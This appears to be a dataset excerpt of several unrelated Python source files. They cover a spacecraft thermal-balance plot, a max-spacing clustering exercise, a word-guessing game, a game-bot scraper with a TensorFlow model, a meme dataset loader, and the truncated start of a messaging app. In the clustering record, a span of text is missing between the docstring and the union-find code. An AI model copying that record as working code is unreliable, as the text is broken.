km-1\nPLUTO_SOLAR_DISTANCE = 5906376272 # km\nVENUS_SOLAR_DISTANCE = 108208000 # km\nSOLAR_FLUX = 63.28 * 10 ** 6 # W/m2\n\n\nthermal_system_design = namedtuple('thermal_design', 'A_e alpha epsilon')\ndesign = thermal_system_design(A_e=1,\n alpha=1,\n epsilon=1)\n\n# material_database =\n\n\nclass ThermalEnergyBalance(object):\n\n def __init__(self, starting_design):\n self.design = starting_design\n\n def _update_design(self, _a_e, _alpha, _epsilon):\n self.design(A_e=_a_e,\n alpha=_alpha,\n epsilon=_epsilon)\n\n def prelim_scatter_plot(self,temp, sbplot, xlabel=True, ylabel=True, yticks=True, xticks=True):\n\n \"\"\"\n Thermal control system Orpheus\n Created on Thu May 24 12:19:43 2018\n\n @author: Q.B. Houwink\n \"\"\"\n eps = []\n alp = []\n\n from matplotlib import pyplot as plt\n\n sigma = 5.67 * 10 ** (-8)\n\n # Planet characteristics\n planets = ['Earth', 'Venus', 'Jupiter', 'Pluto']\n R_planet = [6371, 6052, 69911, 1188]\n R_orbit = [11371, 11052, 74911, 6188]\n a = [0.30, 0.65, 0.52, 0.16]\n T_IR = [255, 227.00, 109.50, 43.00]\n J_s = [1367.00, 2613.00, 51.00, 1.22]\n\n F = []\n J_a = []\n J_IR = []\n\n for i in range(4):\n F.append((R_planet[i] / R_orbit[i]) ** 2)\n J_a.append(J_s[i] * F[-1] * a[i])\n J_IR.append(sigma * T_IR[i] ** 4)\n\n # Spacecraft characteristics\n # 293\n T_s = temp\n A_e = 80\n A_i = A_e / 2\n P_diss = 4154\n\n # Heat calculations\n\n i = 3\n for i in range(4):\n Q_solar = []\n Q_planet = []\n Q_IR_planet = []\n Q_IR = []\n epslst = []\n alphalst = []\n for j in range(100):\n epsilon = j / 100\n epslst.append(epsilon)\n Q_IR_planet.append(epsilon * J_IR[i] * A_i)\n Q_IR.append(epsilon * sigma * A_e * T_s ** 4)\n alpha = (Q_IR[-1] - Q_IR_planet[-1] - P_diss) / (A_i * (J_s[i] + J_a[i]))\n alphalst.append(alpha)\n alp.append(alphalst)\n # fig = plt.figure()\n plt.style.use('ggplot')\n ax = plt.subplot(sbplot)\n\n ymin, ymax = ax.get_ylim()\n xmin, xmax = ax.get_xlim()\n ratio = (xmax - xmin) / (ymax - ymin)\n # ax.set_aspect(ratio)\n\n ax.plot(epslst, alp[0], label=planets[0], linestyle='--', linewidth=2, color='black')\n ax.plot(epslst, alp[1], label=planets[1], linestyle=':', linewidth=2, color='black')\n ax.plot(epslst, alp[2], label=planets[2], linestyle='-.',linewidth=2, color='black')\n ax.plot(epslst, alp[3], label=planets[3],linewidth=2, color='black')\n\n osr_y, osr_x = list(zip(*OSR_))\n ax.scatter(osr_x, osr_y, color='blue', marker='x', label='OSR', linewidth=0.5)\n\n tef_y, tef_x = list(zip(*TEF_))\n ax.scatter(tef_x, tef_y, color='green', marker='X', label='TEF', linewidth=0.5)\n #\n fat_y, fat_x = list(zip(*FAT_))\n # print(np.delete(np.array(fat_y), np.array(fat_y) == 'int'))\n # fat_y, fat_x = np.delete(np.array(fat_y), np.array(fat_y) == 'int'), np.delete(np.array(fat_x), np.array(fat_y) != 'int')\n ax.scatter(fat_x, fat_y, color='red', label='FAT', linewidth=0.5)\n\n # ,alp[2],epslst,alp[3],label=planets)\n ax.legend(loc='upper center', bbox_to_anchor=(1.0, 1.05))\n\n # ax.set_title(planets[i])\n if xlabel is True:\n ax.set_xlabel('Epsilon ($\\epsilon$)')\n if ylabel is True:\n ax.set_ylabel('Alpha ($\\\\alpha$)')\n ax.set_ylim((0, 1))\n ax.set_xlim((0, 1))\n\n if yticks is not True:\n ax.get_yaxis().set_visible(False)\n if xticks is not True:\n ax.get_xaxis().set_visible(False)\n\n # plt.show()\n\n\n\nif __name__==\"__main__\":\n energy_balance = ThermalEnergyBalance(design)\n\n # plt.subplot(1, 2, 1)\n energy_balance.prelim_scatter_plot(283, 211, xlabel=False, xticks=False)\n\n # plt.subplot(1, 2, 2)\n energy_balance.prelim_scatter_plot(323, 212)\n\n plt.savefig('test.png', dpi=300)\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"532285880","text":"\"\"\"\nIn this programming problem and the next you'll code up the clustering algorithm from lecture for computing a max-spacing k-clustering.\n\nThis file describes a distance function (equivalently, a complete graph with edge costs). It has the following format:\n\n[number_of_nodes]\n\n[edge 1 node 1] [edge 1 node 2] [edge 1 cost]\n\n[edge 2 node 1] [edge 2 node 2] [edge 2 cost]\n\nThere is one edge (i,j) for each choice of 1<=i self._rank[j]:\n self._id[j] = i\n else:\n self._id[j] = i\n self._rank[i] += 1\n\n # once a union has been performed, decrease the cluster count\n self._count -= 1\n\n\nclass maxSpaceKClustering:\n def __init__(self, fileName):\n clusterCount = 0\n self.edges = []\n\n f = open(fileName, \"r\")\n firstline = True\n\n for line in f:\n # extract the number of vertices from the first line of the txt file\n if firstline:\n graphInfo = line.rstrip('\\n').split(\" \")\n clusterCount = int(graphInfo[0])\n firstline = False\n continue\n\n # build the graph from the txt file\n # file organized with [node1 node2 edge_cost]\n n1, n2, weight = line.rstrip('\\n').split(\" \")\n self.edges.append((int(weight),int(n1),int(n2)))\n\n self.unionFind = UnionFind(clusterCount)\n\n self.edges.sort()\n \n def solve(self, k):\n \n for i in range(len(self.edges)):\n \n if self.unionFind.count() == k:\n break\n \n w,v1,v2 = self.edges[i]\n self.unionFind.union(v1, v2)\n\n\n # once there are k clusters, iterate through each edge\n # want to find the minDistance between two nodes that are not in the same cluster\n minDistance = float('inf')\n for w,v1,v2 in self.edges:\n if not self.unionFind.connected(v1,v2):\n minDistance = min(minDistance, w)\n\n return minDistance\n \n\n\ns = maxSpaceKClustering(\"clustering1.txt\")\nans = s.solve(4)\nprint(ans)\n","sub_path":"maxSpacingKClustering.py","file_name":"maxSpacingKClustering.py","file_ext":"py","file_size_in_byte":3817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"146358906","text":"\nfrom random import choice\n\n\ndef word_pull():\n \"\"\"Pulls a list of words from the computer's dictionary\"\"\"\n with open(\"/usr/share/dict/words\") as file:\n all_words = file.readlines()\n return all_words\n\n\ndef chooser(a_list):\n \"\"\"Chooses one word from a list of words\"\"\"\n chosen_word = choice(a_list)\n return chosen_word\n\n\ndef set_chosen_word_string(chosen_word):\n \"\"\"Provides a clean, uppper-cased string\"\"\"\n cleaned_word = chosen_word[:-1]\n chosen_word_string = cleaned_word.upper()\n return chosen_word_string\n\n\ndef set_chosen_word_list(chosen_word_string):\n \"\"\"Creates list form of chosen_word_string\"\"\"\n chosen_word_list = list(chosen_word_string[:])\n return chosen_word_list\n\n\ndef length_checker(a_string):\n \"\"\"Determines the length of a string\"\"\"\n string_length = len(a_string[:-1])\n return string_length\n\n\ndef easy_sorter(a_list):\n \"\"\"Sorts the list of all words into words of 4-6 letters\"\"\"\n easy_list = [x for x in a_list if len(x) > 4 and len(x) < 8]\n return easy_list\n\n\ndef med_sorter(a_list):\n \"\"\"Sorts the list of all words into words of 6-10 letters\"\"\"\n med_list = [x for x in a_list if len(x) > 6 and len(x) < 12]\n return med_list\n\n\ndef hard_sorter(a_list):\n \"\"\"Sorts the list of all words into words of 10+ letters\"\"\"\n hard_list = [x for x in a_list if len(x) > 10]\n return hard_list\n\n\ndef starting_text_a():\n \"\"\"Prints first sentence of starting text\"\"\"\n a = \"Let the Mystery Word game begin!\"\n print(a)\n return(a)\n\n\ndef starting_text_b():\n print(\n \"Choose: \\nE for Easy Mode, \\nM for Medium Mode, \\nH for Hard Mode\")\n game_mode = input(\"> \")\n game_mode = game_mode.upper()\n return game_mode\n\n\ndef starting_text_c(string_length):\n \"\"\"Prints second sentence of starting text, reveals how\n many letters are in the word\"\"\"\n b = \"\"\"I have chosen a word at random. It has {} letters.\"\"\".format(\n string_length)\n print(b)\n return(b)\n\n\ndef guess_text(counter):\n \"\"\"Prompts the user to make a guess, informs how\n many guesses are reaining\"\"\"\n a = \"Make a guess! You have {} left.\".format(counter)\n print(a)\n return a\n\n\ndef repeat_guess_check(capsletter, guess_list):\n \"Checks to see if the guessed letter has already been guessed\"\n if capsletter in guess_list:\n print(\"\"\"You've already guessed that letter. Try another.\"\"\")\n return \"guess again\"\n else:\n return \"pass\"\n\n\ndef error_checking(capsletter):\n \"\"\"Checks to make sure that the guess is a) not more than one\n letter, and b) a standard letter of the alphabet\"\"\"\n if len(capsletter) > 1:\n print(\"Please guess only one letter.\")\n return \"not ok\"\n elif capsletter not in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\":\n print(\"Please guess a letter.\")\n return \"not ok\"\n else:\n return \"ok\"\n\n\ndef append_guess_list(guess, guess_list):\n \"\"\"Appends the guessed letter to the list of guesses\"\"\"\n guess_list.append(guess)\n return guess_list\n\n\ndef success_text():\n \"\"\"Prints successful guess text\"\"\"\n yay = \"Good guess!\\n\"\n print(yay)\n return yay\n\n\ndef failure_text():\n \"\"\"Prints unsuccessful guess text.\"\"\"\n nay = \"Sorry. Bad guess.\\n\"\n print(nay)\n return nay\n\n\ndef get_guess():\n \"\"\"Takes an input from the user and capitalizes it\"\"\"\n letter = input(\"> \")\n capsletter = letter.upper()\n return capsletter\n\n\ndef list_visualizer(chosen_word_list, guess_list):\n \"\"\"\"Takes the list form of the word you're trying to guess and checks\n it against the list of guesses to create a string visualization \"\"\"\n usage_list = chosen_word_list[:]\n visual_string = \"\"\n for index, letter in enumerate(usage_list):\n if letter not in guess_list:\n usage_list[index] = \"_\"\n visual_string = ' '.join(usage_list)\n print(visual_string)\n return visual_string\n\n\ndef guess_checker(a_guess, chosen_word_string, counter):\n \"\"\"Checks to see whether the guess is part of the chosen word,\n and lowers the counter by one for incorrect guesses\"\"\"\n a_guess = a_guess.upper()\n if a_guess in chosen_word_string:\n success_text()\n return counter\n else:\n counter = counter - 1\n failure_text()\n return counter\n\n\ndef pretty_guess_list(guess_list):\n \"\"\"reformats the guess_list to be more aesthetically pleasing\"\"\"\n pretty_list = guess_list[:]\n pretty_list.sort()\n pretty_string = ' '.join(pretty_list)\n return pretty_string\n\n\ndef win_check(chosen_word_list, guess_list):\n \"\"\"Tests to see whether all of the letters in the word have been guessed\"\"\"\n if all(item in guess_list for item in chosen_word_list):\n return True\n else:\n return False\n\n\ndef lose_check(counter):\n \"\"\"Tests to see whether the user has run our of guesses\"\"\"\n if counter > 0:\n return False\n else:\n return True\n\n\ndef victory_text(chosen_word_string):\n \"\"\"Prints the winning text, reveals the chosen word\"\"\"\n yay = \"You win! The word was {}!\".format(chosen_word_string)\n print(yay)\n return yay\n\n\ndef loss_text(chosen_word_string):\n \"\"\"Prints the losing text, reveals the chosen word\"\"\"\n nay = \"Sorry! You lose. The word was {}.\".format(chosen_word_string)\n print(nay)\n return nay\n\n\ndef play_again(end_input):\n if end_input == 'Y':\n pass\n else:\n quit()\n\n\nif __name__ == \"__main__\":\n while True:\n\n starting_text_a()\n game_mode = starting_text_b()\n if game_mode == 'E':\n subset = easy_sorter(word_pull())\n chosen_word = chooser(subset)\n elif game_mode == 'M':\n subset = med_sorter(word_pull())\n chosen_word = chooser(subset)\n elif game_mode == 'H':\n subset = hard_sorter(word_pull())\n chosen_word = chooser(subset)\n else:\n print(\"If you can't follow directions, you can't play.\")\n quit()\n\n chosen_word_string = set_chosen_word_string(chosen_word)\n chosen_word_list = set_chosen_word_list(chosen_word_string)\n chosen_word_length = length_checker(chosen_word)\n cwl = chosen_word_list[:]\n\n counter = 8\n guess_list = []\n\n starting_text_c(chosen_word_length)\n list_visualizer(chosen_word_list, guess_list)\n\n while counter > 0:\n guess_text(counter)\n print(\"Type HELP for a list of guessed words \\n\")\n capsletter = get_guess()\n while capsletter == \"HELP\":\n print(\"\\n You've guessed:\")\n print(pretty_guess_list(guess_list), \"\\n\")\n list_visualizer(chosen_word_list, guess_list)\n print(\"\\n\")\n capsletter = get_guess()\n while error_checking(capsletter) == \"not ok\":\n capsletter = get_guess()\n while repeat_guess_check(capsletter, guess_list) == \"guess again\":\n capsletter = get_guess()\n guess_list = append_guess_list(capsletter, guess_list)\n print(\"\\n \\n \\n\")\n list_visualizer(chosen_word_list, guess_list)\n counter = guess_checker(capsletter, chosen_word_string, counter)\n\n x = win_check(chosen_word_list, guess_list)\n if x is True:\n victory_text(chosen_word_string)\n break\n\n else:\n loss_text(chosen_word_string)\n print(\"\"\"Would you like to play again?\\n If so, type Y\"\"\")\n end_input = input(\"> \")\n end_input = end_input.upper()\n play_again(end_input)\n","sub_path":"mystery_word.py","file_name":"mystery_word.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"250549747","text":"from bs4 import BeautifulSoup\r\nfrom collections import defaultdict\r\nfrom operator import itemgetter\r\nimport numpy as np\r\nimport copy\r\nimport tensorflow as tf\r\nfrom functools import partial\r\n\r\nfr = open('C:/users/mnj/Downloads/under.html', 'r', encoding='utf8').read()\r\nsoup = BeautifulSoup(fr, \"html.parser\")\r\n\r\n\r\ntags = soup('div class')\r\ntiers = soup('u')\r\ntags = soup('li')\r\ncontainer = []\r\nfor tag in tags:\r\n if not tag:\r\n continue\r\n info = list(filter(lambda st: st != '' and '<' not in st, str(tag).split()))\r\n if len(info) <= 5:\r\n extract = str(tag.contents[0]).strip()\r\n container.append(extract)\r\n if str(tag.contents[0]).strip() == 'Lich':\r\n break\r\n\r\n\r\nsynergies = dict()\r\nlevels = dict()\r\n\r\nsynergies['S Tier'] = container[:3]\r\nsynergies['A Tier'] = container[3:10]\r\nsynergies['B Tier'] = container[10:15]\r\nsynergies['C Tier'] = container[15:23]\r\nlevels['1'] = container[23:37]\r\nlevels['2'] = container[37:51]\r\nlevels['3'] = container[51:66]\r\nlevels['4'] = container[66:78]\r\nlevels['5'] = container[78:83]\r\n\r\nfr = open('C:/users/mnj/Downloads/stats.html', 'r', encoding='utf8').read()\r\nsoup = BeautifulSoup(fr, \"html.parser\")\r\n\r\n'''\r\ntags = soup('u')\r\nfor tag in tags:\r\n print(tag.contents)'''\r\n\r\n\r\nsoup = BeautifulSoup(fr, \"html.parser\")\r\ntags = soup('li') \r\nst = \"\"\r\n\r\ncollection = []\r\nfor tag in tags:\r\n if tag != None and str(tag.contents[0]).startswith(''):\r\n extract = [\"Alliance 1\", \"Alliance 2\", 'Alliance 3', 'Alliance 4', 'Health', 'DPS', 'Attack Range', 'Armor']\r\n \r\n for e in extract:\r\n \r\n if str(tag.contents[0]).find(e) != -1:\r\n collection.append(str(tag.contents[1]))\r\n \r\n \r\n\r\ninfo = {}\r\ntags = soup('u')\r\ni = 0\r\nfor tag in tags:\r\n if str(tag)[3:-4] == 'Puck' or str(tag)[3:-4] == 'Dragon Knight' or str(tag)[3:-4] == 'Lycan':\r\n info[str(tag)[3:-4]] = collection[i:i+8]\r\n i += 8\r\n else: \r\n info[str(tag)[3:-4]] = collection[i:i+7]\r\n i += 7\r\n\r\n\r\ndef shuffle_batch(X, y, batch_size):\r\n for i in range(10):\r\n #print(n([y[i]]))\r\n #print(np.array([y[i]]).shape)\r\n print(np.array([X[i]]))\r\n yield np.array([X[i]]), np.array([y[i]])\r\n \r\n '''rnd_idx = np.random.permutation(len(X))\r\n n_batches = np.ma.size(X) // batch_size\r\n for batch_idx in np.array_split(rnd_idx, n_batches):\r\n X_batch, y_batch = X[batch_idx], y[batch_idx]\r\n yield X_batch, y_batch'''\r\n\r\ndef generate_troops(prob):\r\n troops = []\r\n for i in range(5):\r\n subset = np.random.choice([1, 2, 3, 4, 5], p=prob)\r\n troop = np.random.choice(levels[str(subset)])\r\n while ' ' in troop:\r\n troop = troop[:troop.index(' ')] + '_' + troop[troop.index(' ') + 1:]\r\n troops += [troop]\r\n return troops\r\n\r\ndef simulate_game():\r\n \r\n # make keys accessible w/ underscores\r\n for key in info:\r\n while ' ' in key:\r\n key_correct = key[:key.index(' ')] + '_' + key[key.index(' ') + 1:]\r\n info[key_correct] = info[key]\r\n del info[key]\r\n key = key_correct\r\n print(key_correct)\r\n \r\n \r\n y_tr = []\r\n fw = open('output.csv', 'w')\r\n\r\n content = []\r\n for i in range(10):\r\n subcont = []\r\n\r\n for sub in range(5):\r\n \r\n\r\n synergy1_tier = np.random.randint(1, 4)\r\n syn1_left = np.random.randint(1, 3)\r\n syn2_tier = np.random.randint(1, 4)\r\n syn2_left = np.random.randint(1, 3)\r\n hero_level= np.random.randint(1, 2)\r\n if hero_level == '2':\r\n hero_left = np.random.randint(1, 6)\r\n else:\r\n hero_left = np.random.randint(1, 3)\r\n hero_tier = np.random.randint(1, 5)\r\n subcont += [[synergy1_tier, syn1_left, syn2_tier, syn2_left, hero_level, hero_left, hero_tier]]\r\n content.append(subcont)\r\n \r\n #fw.write(synergies_left + ', ' + synergy_tier + ', ' + hero_tier + ', ' + gold)\r\n #fw.write('\\n')\r\n\r\n print(subcont)\r\n y_tr += [int(input('Choose which one(s) - synergy tier, how many left needed to upgrade, hero level, heroes to upgrade, hero tier\\n'))] \r\n #content\r\n #y_tr\r\n #print(y_tr.shape)\r\n input()\r\n\r\n X = tf.placeholder(shape=(1, 5, 7,), name='inputs', dtype=tf.float32)\r\n X_flat = tf.layers.flatten(X)\r\n y = tf.placeholder(shape=(1), name='outputs', dtype=tf.int32)\r\n\r\n n_inputs = 28 * 28 # MNIST\r\n n_hidden1 = 300\r\n n_hidden2 = 100\r\n n_outputs = 1\r\n\r\n he_init = tf.variance_scaling_initializer()\r\n\r\n \r\n training = tf.placeholder_with_default(False, shape=(), name='training')\r\n\r\n # avoid retyping in parameters\r\n my_batch_norm_layer = partial(tf.layers.batch_normalization, training=training, momentum=0.9)\r\n my_dense_layer = partial(tf.layers.dense, kernel_initializer=he_init)\r\n\r\n # layers\r\n #hidden1 = my_dense_layer(X, 150)\r\n #bn1 = tf.nn.elu(my_batch_norm_layer(hidden1))\r\n #hidden2 = my_dense_layer(bn1, n_hidden2, name=\"hidden2\")\r\n #bn2 = tf.nn.elu(my_batch_norm_layer(hidden2))\r\n #logits = tf.layers.dense(bn2, 1, name='outputs')\r\n #logits_before_bn = my_dense_layer(bn2, name=\"outputs\")\r\n #logits = my_batch_norm_layer(logits_before_bn)\r\n hidden1 = tf.layers.dense(X_flat, 150, kernel_initializer=he_init)\r\n hidden2 = tf.layers.dense(hidden1, 50, kernel_initializer=he_init)\r\n logits = tf.layers.dense(hidden2, 5, kernel_initializer=he_init)\r\n \r\n print(logits.shape)\r\n input()\r\n\r\n with tf.name_scope(\"loss\"):\r\n xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=y)\r\n loss = tf.reduce_mean(xentropy, name=\"loss\")\r\n\r\n with tf.name_scope(\"train\"):\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.01)\r\n training_op = optimizer.minimize(loss)\r\n\r\n '''with tf.name_scope(\"eval\"):\r\n correct = tf.nn.in_top_k(logits, y, 1)\r\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\r\n fw.close()'''\r\n\r\n init = tf.global_variables_initializer()\r\n saver = tf.train.Saver()\r\n\r\n n_epochs = 30\r\n batch_size = 1\r\n\r\n extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\r\n\r\n with tf.Session() as sess:\r\n init.run()\r\n for epoch in range(n_epochs):\r\n for X_batch, y_batch in shuffle_batch(content , y_tr, batch_size):\r\n sess.run([training_op, extra_update_ops], feed_dict={X: X_batch, y: y_batch})\r\n \r\n #accuracy_val = accuracy.eval(feed_dict={X: X_valid, y: y_valid})\r\n #print(epoch, \"Validation accuracy:\", accuracy_val)\r\n\r\n save_path = saver.save(sess, \"./syn_ai_py.ckpt\")\r\n\r\n '''\r\n gold = 1\r\n prob_per_tier = [0.5, 0.2, 0.15, 0.1, 0.05] # chance per hero tier\r\n health = 100\r\n troops = generate_troops(prob_per_tier)\r\n\r\n my_heroes = { troops[0] : info[troops[0]] }\r\n states = {troops[0] : [1, 1, 1] } # keep track of synergies and levels\r\n enemy_states = {'Axe' : [1, 1, 2]}\r\n \r\n print(my_heroes)\r\n their_heroes = {'Axe' : info['Axe']}\r\n\r\n\r\n while health > 0:\r\n \r\n troops = generate_troops(prob_per_tier)\r\n\r\n\r\n if troops[0] in my_heroes and troops[0] in states:\r\n states[troops[0]] = [i * 2 for i in states[troops[0]]]\r\n\r\n my_heroes[troops[0]] = info[troops[0]] \r\n states = {troops[0] : [1, 1, 1] }\r\n \r\n # if there are 3 troops, then upgrade it to level 2\r\n if states[troops[0]][-1] == 3:\r\n lev = 2\r\n else:\r\n lev = 1\r\n\r\n # create a deep copy to use each round and make the values ints\r\n ai_heroes = copy.deepcopy(my_heroes)\r\n for hero in ai_heroes:\r\n for i in range(2, 7):\r\n print(ai_heroes[hero])\r\n\r\n # get rid of colons and useless characters which are in front of the stats like health\r\n while True:\r\n try:\r\n ai_heroes[hero][i] = int(ai_heroes[hero][i].strip().split('/')[lev-1])\r\n except:\r\n ai_heroes[hero][i] = ai_heroes[hero][i][1:]\r\n print(ai_heroes[hero][i])\r\n continue\r\n break\r\n #ai_heroes[hero][i] = int(ai_heroes[hero][i].strip().split('/')[lev-1])\r\n\r\n print(ai_heroes)\r\n \r\n # copy old dictionary\r\n enemy_heroes = copy.deepcopy(their_heroes)\r\n for hero in enemy_heroes:\r\n for i in range(2, 7):\r\n enemy_heroes[hero][i] = int(enemy_heroes[hero][i].strip().split('/')[lev-1])\r\n\r\n # delete the items in the copied dictionary if the troops get eliminated, causing the round to end when all troops are gone\r\n while len(enemy_heroes.keys()) != 0:\r\n for hero in ai_heroes:\r\n enemy_heroes['Axe'][2] -= (ai_heroes[hero][3] - enemy_heroes['Axe'][-1])\r\n print(enemy_heroes)\r\n if enemy_heroes['Axe'][2] <= 0:\r\n del enemy_heroes['Axe']\r\n \r\n gold += 5 + int(gold * 0.1) \r\n health -= 10\r\n '''\r\n\r\n\r\nsimulate_game()\r\n# fw = open('output.js', 'w')\r\n\r\n\r\n\r\n# convert to json\r\n'''\r\nfor li, hero in enumerate(info):\r\n contents = info[hero]\r\n fw.write('{\\n')\r\n extract = [\"Alliance 1\", \"Alliance 2\", 'Alliance 3', 'Health', 'DPS', 'Attack Range', 'Armor']\r\n fw.write('\\tid: ' + ' \\'' + str(li) + '\\',\\n' )\r\n fw.write('\\tname: ' + ' \\'' + hero + '\\'' + ',\\n')\r\n fw.write('\\ttype1: ' + '\\'' + contents[0] + '\\' ' + ',\\n')\r\n fw.write('\\ttype2: ' + '' + '\\'' + contents[1] + '\\' ' + ',\\n')\r\n if not '/' in contents[2]:\r\n fw.write('\\ttype3:' + '\\'' + contents[2] + '\\'' + ',\\n')\r\n i = 0\r\n else:\r\n i = -1\r\n fw.write('\\tHealth: ' + '\\'' + contents[3 + i] + '\\' ' + ',\\n')\r\n fw.write('\\tDPS: ' + '\\'' + contents[4 + i] + '\\' ' + ',\\n')\r\n fw.write('\\tAttack_Range: ' + '\\'' + contents[5 + i] + '\\' ' + ',\\n')\r\n fw.write('\\tArmor: ' + '\\'' + contents[6 + i] + '\\' ' + ',\\n')\r\n fw.write('}, \\n')\r\n\r\n'''","sub_path":"underlordbot.py","file_name":"underlordbot.py","file_ext":"py","file_size_in_byte":10218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"135018943","text":"import torch\nfrom torch.utils.data.dataset import Dataset\n\nimport numpy as np\nimport six\nimport pandas as pd\nfrom utils.logger import LOGGER\nimport random\n\nimport json\nimport torch\nfrom horovod import torch as hvd\nfrom tqdm import tqdm\n\nfrom pytorch_pretrained_bert import BertTokenizer\nimport numpy as np\n\ndef itm_val_collate(inputs):\n assert len(inputs) == 1, \"input batch size > 1\"\n return inputs[0]\n\n\ndef transform(e):\n # x = e[0]\n # y = e[1]\n\n res = {}\n print(e[0])\n res['input_ids'] = torch.cat([s[0]['input_ids'] for s in e], 0)\n res['position_ids'] = torch.cat([s[0]['position_ids'] for s in e], 0)\n res['img_feat'] = torch.cat([s[0]['img_feat'] for s in e], 0)\n res['img_pos_feat'] = torch.cat([s[0]['img_pos_feat'] for s in e], 0)\n res['attn_masks'] = torch.cat([s[0]['attn_masks'] for s in e], 0)\n res['gather_index'] = torch.cat([s[0]['gather_index'] for s in e], 0)\n\n y = torch.cat([s[1] for s in e], 0)\n\n return res, y\n\n\n# batch['input_ids'] = torch.tensor([input_ids])\n# batch['position_ids'] = torch.tensor([position_ids])\n# batch['img_feat'] = torch.tensor([img_feat], dtype=torch.float)\n# batch['img_pos_feat'] = torch.tensor([img_pos_feat], dtype=torch.float)\n# batch['attn_masks'] = torch.tensor([attn_masks])\n# batch['gather_index'] = torch.tensor([gather_index]) \n \n\n\nclass MemeAIDataset(Dataset):\n def __init__(self, \n json_path = '',\n npz_folder = '', \n transform=None, \n mode = 'train' #train valid test \n ):\n \n self.load_data(train_path = json_path, npz_folder=npz_folder)\n \n self.transform = transform\n \n indices = np.arange(len(self.images))\n if mode == 'train':\n random.shuffle(indices)\n\n self.indices = indices\n self.train = self.labels is not None\n \n def __getitem__(self, index):\n \"\"\"Returns an example or a sequence of examples.\"\"\"\n if torch.is_tensor(index):\n index = index.tolist()\n\n if isinstance(index, slice):\n current, stop, step = index.indices(len(self))\n return [self.get_example_wrapper(i) for i in six.moves.range(current, stop, step)]\n\n elif isinstance(index, list) or isinstance(index, np.ndarray):\n return [self.get_example_wrapper(i) for i in index]\n\n else:\n return self.get_example_wrapper(index)\n \n def __len__(self):\n \"\"\"return length of this dataset\"\"\"\n return len(self.indices)\n \n def get_example_wrapper(self, i):\n \"\"\"Wrapper of `get_example`, to apply `transform` if necessary\"\"\"\n example = self.get_example(i)\n\n # if self.transform:\n # example = self.transform(example)\n return example\n\n def get_example(self, i):\n \"\"\"Return i-th data\"\"\"\n i = self.indices[i]\n x = self.images[i]\n # Opposite white and black: background will be white and\n # for future Affine transformations\n if self.train:\n y = self.labels[i]\n return x, y\n else:\n return x\n\n def load_data(self, train_path = '/root/meme/train.json', npz_folder = '/root/output_meme_butd'):\n\n LOGGER.info('Load data from {}'.format(train_path))\n\n\n def bert_tokenize(tokenizer, text):\n ids = []\n for word in text.strip().split():\n ws = tokenizer.tokenize(word)\n if not ws:\n # some special char\n continue\n ids.extend(tokenizer.convert_tokens_to_ids(ws))\n return ids\n\n tokenizer = BertTokenizer.from_pretrained('bert-base-cased')\n\n json_files =open(train_path, \"r\")\n json_files = json_files.read().split('\\n')\n json_files = [json.loads(i) for i in json_files]\n\n images = []\n labels = []\n for json_file in tqdm(json_files[:150]):\n\n batch = {}\n input_ids = bert_tokenize(tokenizer, json_file['text'])\n # print(input_ids)\n position_ids = range(len(input_ids))\n \n if json_file['id'] < 10000:\n id = '0' + str(json_file['id'])\n else:\n id = json_file['id']\n\n img_npz = np.load('{}/nlvr2_{}.npz'.format(npz_folder, id))\n img_feat = img_npz['features']\n img_pos_feat = np.concatenate((img_npz['norm_bb'], img_npz['conf']), axis=1)\n attn_masks = [1] * (len(input_ids) + len(img_feat))\n gather_index = range(len(input_ids) + len(img_feat))\n\n batch['input_ids'] = torch.tensor([input_ids])\n batch['position_ids'] = torch.tensor([position_ids])\n batch['img_feat'] = torch.tensor([img_feat], dtype=torch.float)\n batch['img_pos_feat'] = torch.tensor([img_pos_feat], dtype=torch.float)\n batch['attn_masks'] = torch.tensor([attn_masks])\n batch['gather_index'] = torch.tensor([gather_index]) \n \n images.append(batch)\n labels.append(torch.tensor(json_file['label'], dtype=torch.float))\n \n self.images = np.array(images)\n self.labels = np.array(labels)\n\n\n LOGGER.info('Loaded {} data from '.format(len(self.labels)))","sub_path":"data/MemeDataset.py","file_name":"MemeDataset.py","file_ext":"py","file_size_in_byte":5345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"357603246","text":"from interfas_usuario import *\nfrom interfas_mensajes import *\nfrom interfaz_Admin import *\nfrom imprimir import *\nUsuario=\"Ninguno\"\ntry:\n\tf=open(\"mensajes\",\"r\")\n\tf.close()\nexcept FileNotFoundError:\n\tInitMensajes()\n\t\"\"\"Si no se encuentra el repositorio de mensajes, lo inicializa\"\"\"\n\tprint(\"Creado un repositorio de mensajes\\n\")\n\"\"\"Inicializa la variable señalando que el usuario no ha iniciado sesión\"\"\"\nprint(\"Ingrese Ayuda para ver los comandos\")\t\t\nwhile True:\n\t\"\"\"Pide y realiza instrucciones de acuerdo al estado del usuario\"\"\"\n\tif Usuario==\"Admin\":\n\t\tprint(\"Administrador detectado\\n\")\n\tBuffer=input(\"Ingrese una instrucción\\n\")\n\n\tif Buffer.lower()==\"ayuda\":\n\t\tayuda(Usuario)\n\t\t\"\"\"Retorna los comandos disponibles según el estado de inicio de sesión\"\"\"\n\n\telif Buffer.lower()=='salir':\n\t\tbreak\n\t\t\"\"\"Finaliza el programa\"\"\"\n\n\telif Buffer.lower()==\"iniciar sesion\":\t\t\t\t\n\t\tif Usuario!=\"Ninguno\":\n\t\t\tprint(\"Usted ya ha iniciado sesión\")\n\t\telse:\n\t\t\ta=input(\"Ingrese su nombre de usuario\\n\")\n\t\t\tb=input(\"Ingrese su contraseña\\n\")\n\t\t\tUsuario=Inicio(a,b)\n\t\t\"\"\"Verifica las credenciales ingresadas con las credenciales de usuarios existentes\"\"\"\n\n\telif Buffer.lower()==\"crear usuario\":\t\t\t\t\n\t\tif 